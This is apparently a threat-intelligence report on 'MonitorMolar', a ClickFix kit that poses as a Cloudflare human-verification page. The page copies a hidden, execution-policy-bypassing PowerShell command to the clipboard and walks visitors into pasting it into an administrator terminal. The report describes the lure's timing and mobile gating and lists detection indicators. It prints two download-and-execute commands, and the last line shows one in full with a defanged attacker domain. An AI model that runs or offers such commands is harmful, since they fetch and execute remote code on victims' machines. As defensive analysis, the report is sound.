MonitorMolar ClickFix kit

A self-contained fake Cloudflare page

MonitorMolar is a self-contained fake Cloudflare page built around vmOverlay and copy-checkbox. The HTML references a monitoring-themed file named /site-monitor-checkbox.js, while its checkbox, clipboard and overlay logic sit inline in the page source.

Every MonitorMolar page body from 7 to 11 September was byte-for-byte identical: a desktop-only verification flow and one PowerShell command.

Two waits lead to an administrator terminal

The page opens on Performing security verification. Its fake checkbox lives inside a shadow root, hidden behind a spinner for a random one to three seconds. On screens 768 pixels wide or narrower, the whole verification screen disappears behind a Mobile Version Unavailable notice.

Checking Verify you are human copies the command immediately with navigator.clipboard.writeText, returns to the spinner and waits another one to three seconds. A Human Verification panel then gives four steps: press Win+X, choose Terminal (Admin) or Windows PowerShell (Admin), press Ctrl+V and press Enter. The visitor can close the panel and repeat the checkbox flow, which writes the same command again.

The copied PowerShell

With the captured address removed, the command has this shape:

powershell -nop -w h -ep bypass -c "$client=New-Object Net.WebClient;$text=$client.DownloadString('[download address]');.([scriptblock]::create($text))"

The switches start PowerShell without a profile, hide its window and bypass its execution policy. Net.WebClient downloads a script as text, and [scriptblock]::create turns that text into code for PowerShell to run. The page explicitly directs the visitor to an administrator terminal.

What we see

Month	New sites
September	3
October	0
November so far	0

Checking a site or lure page

Read the HTML the server sends and search for:

• site-monitor-checkbox.js, vmOverlay or copy-checkbox
• a Mobile Version Unavailable block that replaces the page below 769 pixels
• a shadow-root checkbox followed by two random one-to-three-second delays
• Net.WebClient, DownloadString and [scriptblock]::create in the copied command
• instructions that pair Win+X with Terminal (Admin) or Windows PowerShell (Admin)

powershell -nop -w h -ep bypass -c "`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('hxxps://hashedsolver[.]icu/update1.ps1');.([scriptblock]::create(`$dpq))"